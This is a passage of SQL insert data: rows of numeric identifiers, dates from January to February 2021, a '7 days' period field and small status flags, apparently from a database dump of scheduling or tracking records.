days',0),(37861,664,6905,8171,162,73,'2021-01-18','7 days',0),(37862,663,6905,8171,162,73,'2021-01-18','7 days',0),(37863,658,6905,8171,162,73,'2021-01-18','7 days',0),(37870,13225,6368,7618,161,73,'2021-01-18','7 days',1),(37881,15676,7117,8388,194,45,'2021-01-18','7 days',1),(37882,15675,7117,8388,194,45,'2021-01-18','7 days',1),(37883,12532,7117,8388,194,45,'2021-01-18','7 days',1),(37884,12531,7117,8388,194,45,'2021-01-18','7 days',1),(37885,5467,7117,8388,194,45,'2021-01-18','7 days',1),(37886,8784,7110,8379,160,73,'2021-01-18','7 days',1),(37887,8783,7110,8379,160,73,'2021-01-18','7 days',0),(37888,656,7110,8379,160,73,'2021-01-18','7 days',0),(37889,653,7110,8379,160,73,'2021-01-18','7 days',0),(37890,13225,7110,8379,160,73,'2021-01-18','7 days',1),(37992,16051,6905,8171,162,73,'2021-01-19','7 days',1),(37998,13225,6684,7940,162,73,'2021-01-19','7 days',1),(37999,5467,7125,8395,194,45,'2021-01-19','7 days',1),(38000,11520,7125,8395,194,45,'2021-01-19','7 days',1),(38001,11519,7125,8395,194,45,'2021-01-19','7 days',1),(38002,8794,7125,8395,194,45,'2021-01-19','7 days',0),(38003,1359,7125,8395,194,45,'2021-01-19','7 days',1),(38004,1359,7117,8388,194,45,'2021-01-19','7 days',0),(38005,1359,7111,8380,194,45,'2021-01-19','7 days',2),(38006,1359,7102,8371,194,45,'2021-01-19','7 days',1),(38008,16059,7125,8395,194,45,'2021-01-19','7 days',0),(38009,16058,7125,8395,194,45,'2021-01-19','7 days',1),(38010,13225,6905,8171,162,73,'2021-01-19','7 days',1),(38011,1359,7128,8297,194,45,'2021-01-19','7 days',2),(38012,7020,6959,8229,1452,91,'2021-01-19','7 days',0),(38013,12274,6953,8223,1245,91,'2021-01-19','7 days',1),(38014,12273,6953,8223,1245,91,'2021-01-19','7 days',1),(38015,12264,6953,8223,1245,91,'2021-01-19','7 days',1),(38016,12263,6953,8223,1245,91,'2021-01-19','7 days',1),(38017,11689,6989,8260,194,45,'2021-01-19','7 days',1),(38103,5409,7088,8356,359,251,'2021-01-19','7 days',2),(38104,5408,7088,8356,359,251,'2021-01-19','7 days',0),(38105,5407,7088,8356,359,251,'2021-01-19','7 days',0),(38106,5406,7088,8356,359,251,'2021-01-19','7 days',0),(38107,5405,7088,8356,359,251,'2021-01-19','7 days',0),(38108,5404,7088,8356,359,251,'2021-01-19','7 days',0),(38109,4275,7088,8356,359,251,'2021-01-19','7 days',0),(38110,4274,7088,8356,359,251,'2021-01-19','7 days',0),(38162,15858,7095,8363,1235,277,'2021-01-20','7 days',0),(38163,15857,7095,8363,1235,277,'2021-01-20','7 days',1),(38164,15856,7095,8363,1235,277,'2021-01-20','7 days',2),(38165,12027,7121,8392,1235,277,'2021-01-20','7 days',0),(38166,11450,7121,8392,1235,277,'2021-01-20','7 days',1),(38167,11449,7121,8392,1235,277,'2021-01-20','7 days',0),(38168,11448,7121,8392,1235,277,'2021-01-20','7 days',0),(38169,11689,7062,8333,194,45,'2021-01-20','7 days',1),(38170,650,7034,6225,161,73,'2021-01-20','7 days',1),(38171,649,7034,6225,161,73,'2021-01-20','7 days',0),(38172,646,7034,6225,161,73,'2021-01-20','7 days',0),(38173,645,7034,6225,161,73,'2021-01-20','7 days',1),(38174,642,7060,8331,162,73,'2021-01-20','7 days',0),(38175,640,7060,8331,162,73,'2021-01-20','7 days',2),(38176,639,7060,8331,162,73,'2021-01-20','7 days',0),(38177,637,7060,8331,162,73,'2021-01-20','7 days',0),(38178,636,7060,8331,162,73,'2021-01-20','7 days',0),(38179,629,7060,8331,162,73,'2021-01-20','7 days',0),(38180,664,7114,8384,161,73,'2021-01-20','7 days',0),(38181,663,7114,8384,161,73,'2021-01-20','7 days',0),(38182,658,7114,8384,161,73,'2021-01-20','7 days',0),(38196,647,7115,5341,162,73,'2021-01-20','7 days',0),(38197,640,7115,5341,162,73,'2021-01-20','7 days',0),(38198,639,7115,5341,162,73,'2021-01-20','7 days',0),(38199,637,7115,5341,162,73,'2021-01-20','7 days',0),(38200,636,7115,5341,162,73,'2021-01-20','7 days',0),(38201,629,7115,5341,162,73,'2021-01-20','7 days',0),(38202,16051,7132,8402,161,73,'2021-01-20','7 days',1),(38203,12979,7132,8402,161,73,'2021-01-20','7 days',1),(38204,11876,7132,8402,161,73,'2021-01-20','7 days',2),(38205,8781,7132,8402,161,73,'2021-01-20','7 days',0),(38206,672,7132,8402,161,73,'2021-01-20','7 days',0),(38246,15589,6784,8044,1343,86,'2021-01-21','7 days',1),(38254,15588,6784,8044,1343,86,'2021-01-21','7 days',1),(38320,11689,7102,8371,194,45,'2021-01-21','7 days',1),(38370,13225,6580,7837,160,73,'2021-01-22','7 days',1),(38374,12532,7151,8424,194,45,'2021-01-22','7 days',1),(38375,12531,7151,8424,194,45,'2021-01-22','7 days',1),(38376,5467,7151,8424,194,45,'2021-01-22','7 days',1),(38377,13913,7160,8431,194,45,'2021-01-22','7 days',0),(38378,11689,7160,8431,194,45,'2021-01-22','7 days',1),(38379,8796,7135,8405,634,639,'2021-01-22','7 days',0),(38380,4502,7135,8405,634,639,'2021-01-22','7 days',0),(38381,16050,7104,8373,633,639,'2021-01-22','7 days',1),(38382,4452,7104,8373,633,639,'2021-01-22','7 days',0),(38384,12532,7165,8436,194,45,'2021-01-22','7 days',1),(38385,12531,7165,8436,194,45,'2021-01-22','7 days',1),(38386,5467,7165,8436,194,45,'2021-01-22','7 days',1),(38387,13913,7165,8436,194,45,'2021-01-22','7 days',0),(38388,11689,7165,8436,194,45,'2021-01-22','7 days',1),(38389,15629,7145,8414,1343,86,'2021-01-22','7 days',0),(38390,15628,7145,8414,1343,86,'2021-01-22','7 days',0),(38391,15627,7145,8414,1343,86,'2021-01-22','7 days',1),(38392,15372,7145,8414,1343,86,'2021-01-22','7 days',2),(38393,15357,7145,8414,1343,86,'2021-01-22','7 days',0),(38394,15355,7145,8414,1343,86,'2021-01-22','7 days',0),(38395,15354,7145,8414,1343,86,'2021-01-22','7 days',0),(38396,15353,7145,8414,1343,86,'2021-01-22','7 days',2),(38397,15351,7145,8414,1343,86,'2021-01-22','7 days',0),(38398,13085,7145,8414,1343,86,'2021-01-22','7 days',0),(38399,13009,7145,8414,1343,86,'2021-01-22','7 days',0),(38400,13006,7145,8414,1343,86,'2021-01-22','7 days',2),(38401,13005,7145,8414,1343,86,'2021-01-22','7 days',0),(38402,13004,7145,8414,1343,86,'2021-01-22','7 days',0),(38403,12788,7145,8414,1343,86,'2021-01-22','7 days',0),(38404,12786,7145,8414,1343,86,'2021-01-22','7 days',0),(38405,12301,7145,8414,1343,86,'2021-01-22','7 days',0),(38406,11970,7145,8414,1343,86,'2021-01-22','7 days',2),(38407,11969,7145,8414,1343,86,'2021-01-22','7 days',0),(38408,11964,7145,8414,1343,86,'2021-01-22','7 days',0),(38409,11962,7145,8414,1343,86,'2021-01-22','7 days',0),(38410,11957,7145,8414,1343,86,'2021-01-22','7 days',0),(38411,11951,7145,8414,1343,86,'2021-01-22','7 days',0),(38412,11949,7145,8414,1343,86,'2021-01-22','7 days',2),(38436,12739,6854,8119,1342,971,'2021-01-23','7 days',1),(38437,11698,6854,8119,1342,971,'2021-01-23','7 days',0),(38438,11456,6854,8119,1342,971,'2021-01-23','7 days',0),(38439,11126,6854,8119,1342,971,'2021-01-23','7 days',1),(38440,10978,6854,8119,1342,971,'2021-01-23','7 days',1),(38441,10967,6854,8119,1342,971,'2021-01-23','7 days',1),(38442,10966,6854,8119,1342,971,'2021-01-23','7 days',1),(38443,10965,6854,8119,1342,971,'2021-01-23','7 days',1),(38444,10964,6854,8119,1342,971,'2021-01-23','7 days',0),(38445,10963,6854,8119,1342,971,'2021-01-23','7 days',1),(38460,15360,7145,8414,1343,86,'2021-01-23','7 days',2),(38461,15359,7145,8414,1343,86,'2021-01-23','7 days',0),(38462,15358,7145,8414,1343,86,'2021-01-23','7 days',0),(38463,15356,7145,8414,1343,86,'2021-01-23','7 days',0),(38464,15352,7145,8414,1343,86,'2021-01-23','7 days',0),(38465,15350,7145,8414,1343,86,'2021-01-23','7 days',0),(38467,16058,7165,8436,194,45,'2021-01-23','7 days',2),(38473,13225,7009,8282,160,73,'2021-01-23','7 days',1),(38474,12979,7009,8282,160,73,'2021-01-23','7 days',2),(38475,11876,7009,8282,160,73,'2021-01-23','7 days',2),(38476,8781,7009,8282,160,73,'2021-01-23','7 days',0),(38477,672,7009,8282,160,73,'2021-01-23','7 days',0),(38480,16139,6849,8114,1406,971,'2021-01-23','7 days',1),(38481,10967,6849,8114,1406,971,'2021-01-23','7 days',1),(38482,12739,6849,8114,1406,971,'2021-01-23','7 days',2),(38483,11698,6849,8114,1406,971,'2021-01-23','7 days',0),(38484,11456,6849,8114,1406,971,'2021-01-23','7 days',0),(38485,11126,6849,8114,1406,971,'2021-01-23','7 days',1),(38486,10978,6849,8114,1406,971,'2021-01-23','7 days',1),(38487,10966,6849,8114,1406,971,'2021-01-23','7 days',1),(38488,10965,6849,8114,1406,971,'2021-01-23','7 days',1),(38489,10964,6849,8114,1406,971,'2021-01-23','7 days',0),(38490,10963,6849,8114,1406,971,'2021-01-23','7 days',0),(38491,14685,7182,8449,194,45,'2021-01-23','7 days',1),(38492,14684,7182,8449,194,45,'2021-01-23','7 days',1),(38493,13913,7182,8449,194,45,'2021-01-23','7 days',0),(38494,12562,7182,8449,194,45,'2021-01-23','7 days',1),(38495,11689,7182,8449,194,45,'2021-01-23','7 days',1),(38496,11688,7182,8449,194,45,'2021-01-23','7 days',1),(38497,9206,7182,8449,194,45,'2021-01-23','7 days',1),(38533,13720,6964,8235,1251,86,'2021-01-25','7 days',0),(38534,15585,6964,8235,1251,86,'2021-01-25','7 days',0),(38535,15493,6964,8235,1251,86,'2021-01-25','7 days',1),(38536,13670,6964,8235,1251,86,'2021-01-25','7 days',0),(38537,13098,6964,8235,1251,86,'2021-01-25','7 days',0),(38538,10685,6964,8235,1251,86,'2021-01-25','7 days',0),(38563,15976,7189,8459,204,86,'2021-01-26','7 days',0),(38564,14782,7189,8459,204,86,'2021-01-26','7 days',0),(38565,14781,7189,8459,204,86,'2021-01-26','7 days',0),(38566,14780,7189,8459,204,86,'2021-01-26','7 days',0),(38567,14779,7189,8459,204,86,'2021-01-26','7 days',0),(38568,13094,7189,8459,204,86,'2021-01-26','7 days',0),(38569,13086,7189,8459,204,86,'2021-01-26','7 days',2),(38570,12817,7189,8459,204,86,'2021-01-26','7 days',2),(38571,12425,7189,8459,204,86,'2021-01-26','7 days',2),(38572,12424,7189,8459,204,86,'2021-01-26','7 days',0),(38573,12423,7189,8459,204,86,'2021-01-26','7 days',0),(38574,12422,7189,8459,204,86,'2021-01-26','7 days',0),(38583,642,7163,8434,162,73,'2021-01-27','7 days',0),(38584,640,7163,8434,162,73,'2021-01-27','7 days',0),(38585,639,7163,8434,162,73,'2021-01-27','7 days',0),(38586,637,7163,8434,162,73,'2021-01-27','7 days',0),(38587,636,7163,8434,162,73,'2021-01-27','7 days',0),(38613,13180,7164,8435,1410,975,'2021-01-27','7 days',1),(38614,12972,7164,8435,1410,975,'2021-01-27','7 days',1),(38615,15663,7164,8435,1410,975,'2021-01-27','7 days',1),(38652,14051,7204,8477,1067,326,'2021-01-28','7 days',0),(38653,12897,7204,8477,1067,326,'2021-01-28','7 days',2),(38654,12875,7204,8477,1067,326,'2021-01-28','7 days',1),(38655,9805,7204,8477,1067,326,'2021-01-28','7 days',0),(38656,9803,7204,8477,1067,326,'2021-01-28','7 days',0),(38657,9802,7204,8477,1067,326,'2021-01-28','7 days',0),(38658,9801,7204,8477,1067,326,'2021-01-28','7 days',0),(38659,9800,7204,8477,1067,326,'2021-01-28','7 days',0),(38660,9798,7204,8477,1067,326,'2021-01-28','7 days',0),(38687,11689,7098,8366,194,45,'2021-01-28','7 days',1),(38796,12361,7189,8459,204,86,'2021-01-30','7 days',0),(38797,12356,7189,8459,204,86,'2021-01-30','7 days',2),(38798,12355,7189,8459,204,86,'2021-01-30','7 days',0),(38799,12354,7189,8459,204,86,'2021-01-30','7 days',1),(38800,9533,7189,8459,204,86,'2021-01-30','7 days',0),(38801,9532,7189,8459,204,86,'2021-01-30','7 days',0),(38802,9531,7189,8459,204,86,'2021-01-30','7 days',1),(38809,11689,7111,8380,194,45,'2021-02-01','7 days',1),(38810,11689,7128,8297,194,45,'2021-02-01','7 days',1),(38836,5409,7134,8404,359,251,'2021-02-01','7 days',2),(38837,5408,7134,8404,359,251,'2021-02-01','7 days',0),(38838,5407,7134,8404,359,251,'2021-02-01','7 days',0),(38839,5406,7134,8404,359,251,'2021-02-01','7 days',0),(38840,5405,7134,8404,359,251,'2021-02-01','7 days',0),(38841,5404,7134,8404,359,251,'2021-02-01','7 days',0),(38842,4275,7134,8404,359,251,'2021-02-01','7 days',0),(38843,4274,7134,8404,359,251,'2021-02-01','7 days',0),(38844,4273,7134,8404,359,251,'2021-02-01','7 days',0),(38845,4272,7134,8404,359,251,'2021-02-01','7 days',0),(38846,4271,7134,8404,359,251,'2021-02-01','7 days',0),(38847,4270,7134,8404,359,251,'2021-02-01','7 days',2),(38848,4269,7134,8404,359,251,'2021-02-01','7 days',0),(38849,3262,7134,8404,359,251,'2021-02-01','7 days',0),(38850,3261,7134,8404,359,251,'2021-02-01','7 days',0),(38851,3260,7134,8404,359,251,'2021-02-01','7 days',0),(38893,16209,7145,8414,1343,86,'2021-02-02','7 days',1),(38900,13913,7273,8541,194,45,'2021-02-02','7 days',0),(38901,11689,7273,8541,194,45,'2021-02-02','7 days',1),(38909,16024,6964,8235,1251,86,'2021-02-02','7 days',0),(38910,15366,6964,8235,1251,86,'2021-02-02','7 days',2),(38911,15365,6964,8235,1251,86,'2021-02-02','7 days',0),(38912,10684,6964,8235,1251,86,'2021-02-02','7 days',1),(38936,16223,7279,8549,1393,86,'2021-02-03','7 days',2),(38937,16222,7279,8549,1393,86,'2021-02-03','7 days',0),(38938,16221,7279,8549,1393,86,'2021-02-03','7 days',0),(38939,16220,7279,8549,1393,86,'2021-02-03','7 days',0),(38940,16219,7279,8549,1393,86,'2021-02-03','7 days',0),(38941,16218,7279,8549,1393,86,'2021-02-03','7 days',1),(38974,16237,7279,8549,1393,86,'2021-02-04','7 days',0),(38975,16236,7279,8549,1393,86,'2021-02-04','7 days',0),(38976,15589,6964,8235,1251,86,'2021-02-04','7 days',0),(39001,13225,6375,7618,160,73,'2021-02-04','7 days',1),(39002,16051,7275,8545,161,73,'2021-02-04','7 days',1),(39003,12979,7275,8545,161,73,'2021-02-04','7 days',1),(39004,11876,7275,8545,161,73,'2021-02-04','7 days',2),(39005,8781,7275,8545,161,73,'2021-02-04','7 days',0),(39006,672,7275,8545,161,73,'2021-02-04','7 days',0),(39007,661,7275,8545,161,73,'2021-02-04','7 days',2),(39105,16051,6909,8176,160,73,'2021-02-04','7 days',1),(39108,15859,7261,8249,1594,277,'2021-02-04','7 days',2),(39109,15858,7261,8249,1594,277,'2021-02-04','7 days',0),(39110,15857,7261,8249,1594,277,'2021-02-04','7 days',0),(39111,14994,6964,8235,1251,86,'2021-02-04','7 days',1),(39126,16258,7291,8564,1408,86,'2021-02-04','7 days',0),(39127,16257,7291,8564,1408,86,'2021-02-04','7 days',1),(39128,16256,7291,8564,1408,86,'2021-02-04','7 days',0),(39129,16255,7291,8564,1408,86,'2021-02-04','7 days',0),(39130,16254,7291,8564,1408,86,'2021-02-04','7 days',1),(39131,16253,7291,8564,1408,86,'2021-02-04','7 days',1),(39132,16252,7291,8564,1408,86,'2021-02-04','7 days',0),(39133,15975,7291,8564,1408,86,'2021-02-04','7 days',1),(39134,5409,7073,8339,359,251,'2021-02-04','7 days',0),(39135,5408,7073,8339,359,251,'2021-02-04','7 days',0),(39136,5407,7073,8339,359,251,'2021-02-04','7 days',0),(39137,5406,7073,8339,359,251,'2021-02-04','7 days',0),(39138,5405,7073,8339,359,251,'2021-02-04','7 days',0),(39139,5404,7073,8339,359,251,'2021-02-04','7 days',0),(39140,4275,7073,8339,359,251,'2021-02-04','7 days',0),(39141,4274,7073,8339,359,251,'2021-02-04','7 days',0),(39142,4273,7073,8339,359,251,'2021-02-04','7 days',0),(39143,4272,7073,8339,359,251,'2021-02-04','7 days',0),(39144,4271,7073,8339,359,251,'2021-02-04','7 days',0),(39145,4270,7073,8339,359,251,'2021-02-04','7 days',0),(39146,4269,7073,8339,359,251,'2021-02-04','7 days',0),(39323,13913,7300,8576,194,45,'2021-02-05','7 days',0),(39324,11689,7300,8576,194,45,'2021-02-05','7 days',1),(39330,16059,7306,8581,194,45,'2021-02-05','7 days',0),(39331,16058,7306,8581,194,45,'2021-02-05','7 days',0),(39332,1359,7306,8581,194,45,'2021-02-05','7 days',1),(39333,16059,7305,8580,194,45,'2021-02-05','7 days',0),(39334,16058,7305,8580,194,45,'2021-02-05','7 days',2),(39335,1359,7305,8580,194,45,'2021-02-05','7 days',1),(39364,16059,7311,8586,194,45,'2021-02-06','7 days',0),(39365,16058,7311,8586,194,45,'2021-02-06','7 days',2),(39366,1359,7311,8586,194,45,'2021-02-06','7 days',2),(39461,16059,7319,8594,194,45,'2021-02-08','7 days',0),(39462,16058,7319,8594,194,45,'2021-02-08','7 days',2),(39463,1359,7319,8594,194,45,'2021-02-08','7 days',1),(39464,13913,7319,8594,194,45,'2021-02-08','7 days',0),(39465,11689,7319,8594,194,45,'2021-02-08','7 days',1),(39480,16276,6849,8114,1406,971,'2021-02-08','7 days',1),(39481,16277,6854,8119,1342,971,'2021-02-08','7 days',1),(39658,12022,7290,8562,1594,277,'2021-02-10','7 days',1),(39659,5409,7314,8589,359,251,'2021-02-10','7 days',0),(39660,5408,7314,8589,359,251,'2021-02-10','7 days',0),(39661,5407,7314,8589,359,251,'2021-02-10','7 days',0),(39662,5406,7314,8589,359,251,'2021-02-10','7 days',0),(39663,5405,7314,8589,359,251,'2021-02-10','7 days',0),(39664,5404,7314,8589,359,251,'2021-02-10','7 days',0),(39665,4275,7314,8589,359,251,'2021-02-10','7 days',0),(39666,4274,7314,8589,359,251,'2021-02-10','7 days',0),(39667,4273,7314,8589,359,251,'2021-02-10','7 days',0),(39668,4272,7314,8589,359,251,'2021-02-10','7 days',0),(39669,4271,7314,8589,359,251,'2021-02-10','7 days',0),(39670,4270,7314,8589,359,251,'2021-02-10','7 days',0),(39671,4269,7314,8589,359,251,'2021-02-10','7 days',0),(39672,3262,7314,8589,359,251,'2021-02-10','7 days',0),(39673,16315,7101,8370,1456,667,'2021-02-10','7 days',0),(39674,16314,7101,8370,1456,667,'2021-02-10','7 days',2),(39675,16313,7101,8370,1456,667,'2021-02-10','7 days',0),(39676,16312,7101,8370,1456,667,'2021-02-10','7 days',0),(39677,16311,7101,8370,1456,667,'2021-02-10','7 days',0),(39678,16310,7101,8370,1456,667,'2021-02-10','7 days',0),(39679,16309,7101,8370,1456,667,'2021-02-10','7 days',2),(39680,16308,7101,8370,1456,667,'2021-02-10','7 days',0),(39681,16307,7101,8370,1456,667,'2021-02-10','7 days',0),(39682,16306,7101,8370,1456,667,'2021-02-10','7 days',2),(39683,16305,7101,8370,1456,667,'2021-02-10','7 days',0),(39684,16304,7101,8370,1456,667,'2021-02-10','7 days',2),(39685,16303,7101,8370,1456,667,'2021-02-10','7 days',0),(39686,16302,7101,8370,1456,667,'2021-02-10','7 days',0),(39687,16301,7101,8370,1456,667,'2021-02-10','7 days',0),(39688,16300,7101,8370,1456,667,'2021-02-10','7 days',2),(39690,15399,7131,8401,1370,667,'2021-02-10','7 days',0),(39691,15398,7131,8401,1370,667,'2021-02-10','7 days',1),(39692,15397,7131,8401,1370,667,'2021-02-10','7 days',1),(39693,15396,7131,8401,1370,667,'2021-02-10','7 days',0),(39694,15187,7131,8401,1370,667,'2021-02-10','7 days',0),(39695,15186,7131,8401,1370,667,'2021-02-10','7 days',1),(39696,15185,7131,8401,1370,667,'2021-02-10','7 days',0),(39697,15184,7131,8401,1370,667,'2021-02-10','7 days',0),(39698,15183,7131,8401,1370,667,'2021-02-10','7 days',1),(39699,15182,7131,8401,1370,667,'2021-02-10','7 days',1),(39700,15181,7131,8401,1370,667,'2021-02-10','7 days',2),(39701,15180,7131,8401,1370,667,'2021-02-10','7 days',0),(39702,15179,7131,8401,1370,667,'2021-02-10','7 days',2),(39703,15178,7131,8401,1370,667,'2021-02-10','7 days',0),(39704,15177,7131,8401,1370,667,'2021-02-10','7 days',2),(39738,15176,7131,8401,1370,667,'2021-02-11','7 days',2),(39739,14805,7131,8401,1370,667,'2021-02-11','7 days',1),(39740,14767,7131,8401,1370,667,'2021-02-11','7 days',0),(39741,14766,7131,8401,1370,667,'2021-02-11','7 days',0),(39742,14765,7131,8401,1370,667,'2021-02-11','7 days',1),(39743,14764,7131,8401,1370,667,'2021-02-11','7 days',2),(39744,15399,7101,8370,1456,667,'2021-02-11','7 days',0),(39745,15398,7101,8370,1456,667,'2021-02-11','7 days',1),(39746,15397,7101,8370,1456,667,'2021-02-11','7 days',1),(39747,15396,7101,8370,1456,667,'2021-02-11','7 days',0),(39748,15187,7101,8370,1456,667,'2021-02-11','7 days',0),(39749,15186,7101,8370,1456,667,'2021-02-11','7 days',1),(39750,15185,7101,8370,1456,667,'2021-02-11','7 days',0),(39751,15184,7101,8370,1456,667,'2021-02-11','7 days',0),(39752,15183,7101,8370,1456,667,'2021-02-11','7 days',1),(39753,15182,7101,8370,1456,667,'2021-02-11','7 days',1),(39755,11689,7348,6982,194,45,'2021-02-11','7 days',1),(39756,16336,7131,8401,1370,667,'2021-02-11','7 days',0),(39757,16335,7131,8401,1370,667,'2021-02-11','7 days',2),(39758,16334,7131,8401,1370,667,'2021-02-11','7 days',0),(39759,16333,7131,8401,1370,667,'2021-02-11','7 days',0),(39760,16332,7131,8401,1370,667,'2021-02-11','7 days',1),(39761,16331,7131,8401,1370,667,'2021-02-11','7 days',2),(39762,16330,7131,8401,1370,667,'2021-02-11','7 days',0),(39763,16329,7131,8401,1370,667,'2021-02-11','7 days',0),(39764,16328,7131,8401,1370,667,'2021-02-11','7 days',0),(39765,16327,7131,8401,1370,667,'2021-02-11','7 days',1),(39766,16362,7101,8370,1456,667,'2021-02-11','7 days',2),(39767,16361,7101,8370,1456,667,'2021-02-11','7 days',0),(39768,16360,7101,8370,1456,667,'2021-02-11','7 days',0),(39769,16359,7101,8370,1456,667,'2021-02-11','7 days',0),(39770,16358,7101,8370,1456,667,'2021-02-11','7 days',0),(39771,16357,7101,8370,1456,667,'2021-02-11','7 days',0),(39772,16356,7101,8370,1456,667,'2021-02-11','7 days',0),(39773,16355,7101,8370,1456,667,'2021-02-11','7 days',0),(39774,16354,7101,8370,1456,667,'2021-02-11','7 days',0),(39775,16353,7101,8370,1456,667,'2021-02-11','7 days',0),(39863,12022,7332,8605,1594,277,'2021-02-11','7 days',1),(39864,15589,7279,8549,1393,86,'2021-02-11','7 days',2),(39865,15586,6800,8061,1393,86,'2021-02-11','7 days',1),(40001,16352,7101,8370,1456,667,'2021-02-12','7 days',0),(40002,16351,7101,8370,1456,667,'2021-02-12','7 days',2),(40003,16350,7101,8370,1456,667,'2021-02-12','7 days',0),(40004,16349,7101,8370,1456,667,'2021-02-12','7 days',0),(40005,16348,7101,8370,1456,667,'2021-02-12','7 days',0),(40006,16347,7101,8370,1456,667,'2021-02-12','7 days',0),(40007,16346,7101,8370,1456,667,'2021-02-12','7 days',2),(40008,16345,7101,8370,1456,667,'2021-02-12','7 days',0),(40009,16344,7101,8370,1456,667,'2021-02-12','7 days',2),(40010,16343,7101,8370,1456,667,'2021-02-12','7 days',2),(40039,16342,7101,8370,1456,667,'2021-02-13','7 days',0),(40040,16341,7101,8370,1456,667,'2021-02-13','7 days',0),(40044,16340,7101,8370,1456,667,'2021-02-13','7 days',0),(40045,16339,7101,8370,1456,667,'2021-02-13','7 days',0),(40046,16338,7101,8370,1456,667,'2021-02-13','7 days',0),(40047,16337,7101,8370,1456,667,'2021-02-13','7 days',2),(40048,16299,7101,8370,1456,667,'2021-02-13','7 days',2),(40049,16298,7101,8370,1456,667,'2021-02-13','7 days',0),(40050,16297,7101,8370,1456,667,'2021-02-13','7 days',0),(40051,16296,7101,8370,1456,667,'2021-02-13','7 days',0),(40090,7211,7356,8632,1452,91,'2021-02-15','7 days',0),(40091,7210,7356,8632,1452,91,'2021-02-15','7 days',0),(40092,7209,7356,8632,1452,91,'2021-02-15','7 days',2),(40093,7208,7356,8632,1452,91,'2021-02-15','7 days',2),(40094,12022,7322,8597,1594,277,'2021-02-15','7 days',1),(40095,9154,7356,8632,1452,91,'2021-02-15','7 days',1),(40096,9135,7356,8632,1452,91,'2021-02-15','7 days',1),(40097,9134,7356,8632,1452,91,'2021-02-15','7 days',1),(40098,9133,7356,8632,1452,91,'2021-02-15','7 days',1),(40099,7287,7356,8632,1452,91,'2021-02-15','7 days',1),(40100,7286,7356,8632,1452,91,'2021-02-15','7 days',1),(40106,13225,7034,6225,161,73,'2021-02-15','7 days',1),(40138,15676,7395,8204,194,45,'2021-02-15','7 days',1),(40139,15675,7395,8204,194,45,'2021-02-15','7 days',1),(40140,16059,7426,8685,194,45,'2021-02-15','7 days',0),(40141,16058,7426,8685,194,45,'2021-02-15','7 days',2),(40142,1359,7426,8685,194,45,'2021-02-15','7 days',2),(40156,13913,7419,8678,194,45,'2021-02-15','7 days',0),(40157,11689,7419,8678,194,45,'2021-02-15','7 days',1),(40158,8784,7420,8679,160,73,'2021-02-15','7 days',1),(40159,8783,7420,8679,160,73,'2021-02-15','7 days',0),(40160,656,7420,8679,160,73,'2021-02-15','7 days',0),(40161,653,7420,8679,160,73,'2021-02-15','7 days',0),(40162,16051,7420,8679,160,73,'2021-02-15','7 days',1),(40171,13225,7060,8331,162,73,'2021-02-16','7 days',1),(40180,16277,7424,8683,1342,971,'2021-02-16','7 days',0),(40181,16276,7424,8683,1342,971,'2021-02-16','7 days',2),(40182,16139,7424,8683,1342,971,'2021-02-16','7 days',1),(40183,12739,7424,8683,1342,971,'2021-02-16','7 days',1),(40184,11698,7424,8683,1342,971,'2021-02-16','7 days',0),(40185,11456,7424,8683,1342,971,'2021-02-16','7 days',0),(40186,11126,7424,8683,1342,971,'2021-02-16','7 days',1),(40187,10978,7424,8683,1342,971,'2021-02-16','7 days',1),(40188,10967,7424,8683,1342,971,'2021-02-16','7 days',1),(40189,10966,7424,8683,1342,971,'2021-02-16','7 days',1),(40190,10965,7424,8683,1342,971,'2021-02-16','7 days',2),(40191,10964,7424,8683,1342,971,'2021-02-16','7 days',0),(40192,10963,7424,8683,1342,971,'2021-02-16','7 days',1),(40248,15975,6800,8061,1393,86,'2021-02-16','7 days',2),(40249,15589,6800,8061,1393,86,'2021-02-16','7 days',0),(40250,15587,6800,8061,1393,86,'2021-02-16','7 days',1),(40266,16563,7101,8370,1456,667,'2021-02-17','7 days',0),(40267,16562,7101,8370,1456,667,'2021-02-17','7 days',0),(40268,16561,7101,8370,1456,667,'2021-02-17','7 days',0),(40269,16560,7101,8370,1456,667,'2021-02-17','7 days',0),(40270,16559,7101,8370,1456,667,'2021-02-17','7 days',0),(40271,16558,7101,8370,1456,667,'2021-02-17','7 days',0),(40272,16557,7101,8370,1456,667,'2021-02-17','7 days',1),(40273,16556,7101,8370,1456,667,'2021-02-17','7 days',0),(40274,16555,7101,8370,1456,667,'2021-02-17','7 days',0),(40275,16554,7101,8370,1456,667,'2021-02-17','7 days',0),(40293,12022,7070,6984,1235,277,'2021-02-17','7 days',1),(40294,15676,7426,8685,194,45,'2021-02-17','7 days',1),(40295,15675,7426,8685,194,45,'2021-02-17','7 days',1),(40297,12532,7426,8685,194,45,'2021-02-17','7 days',1),(40299,12531,7426,8685,194,45,'2021-02-17','7 days',1),(40300,11715,7426,8685,194,45,'2021-02-17','7 days',1),(40301,5467,7426,8685,194,45,'2021-02-17','7 days',1),(40309,16612,7428,8688,1456,667,'2021-02-17','7 days',0),(40310,16611,7428,8688,1456,667,'2021-02-17','7 days',0),(40311,16610,7428,8688,1456,667,'2021-02-17','7 days',0),(40312,16609,7428,8688,1456,667,'2021-02-17','7 days',2),(40313,16608,7428,8688,1456,667,'2021-02-17','7 days',0),(40314,16607,7428,8688,1456,667,'2021-02-17','7 days',0),(40315,16606,7428,8688,1456,667,'2021-02-17','7 days',0),(40316,16605,7428,8688,1456,667,'2021-02-17','7 days',0),(40317,16604,7428,8688,1456,667,'2021-02-17','7 days',0),(40318,16603,7428,8688,1456,667,'2021-02-17','7 days',2),(40319,11689,7445,8705,194,45,'2021-02-17','7 days',1),(40373,16602,7428,8688,1456,667,'2021-02-18','7 days',0),(40374,16601,7428,8688,1456,667,'2021-02-18','7 days',0),(40375,16600,7428,8688,1456,667,'2021-02-18','7 days',0),(40376,16599,7428,8688,1456,667,'2021-02-18','7 days',0),(40377,16598,7428,8688,1456,667,'2021-02-18','7 days',2),(40378,16597,7428,8688,1456,667,'2021-02-18','7 days',2),(40379,16596,7428,8688,1456,667,'2021-02-18','7 days',0),(40380,16595,7428,8688,1456,667,'2021-02-18','7 days',0),(40381,16594,7428,8688,1456,667,'2021-02-18','7 days',0),(40382,16593,7428,8688,1456,667,'2021-02-18','7 days',0),(40436,13669,7279,8549,1393,86,'2021-02-18','7 days',2),(40437,8999,7279,8549,1393,86,'2021-02-18','7 days',1),(40438,9531,6964,8235,1251,86,'2021-02-18','7 days',0),(40439,6243,6800,8061,1393,86,'2021-02-18','7 days',2),(40440,6241,6800,8061,1393,86,'2021-02-18','7 days',0),(40441,10915,7029,8305,203,86,'2021-02-18','7 days',0),(40442,10914,7029,8305,203,86,'2021-02-18','7 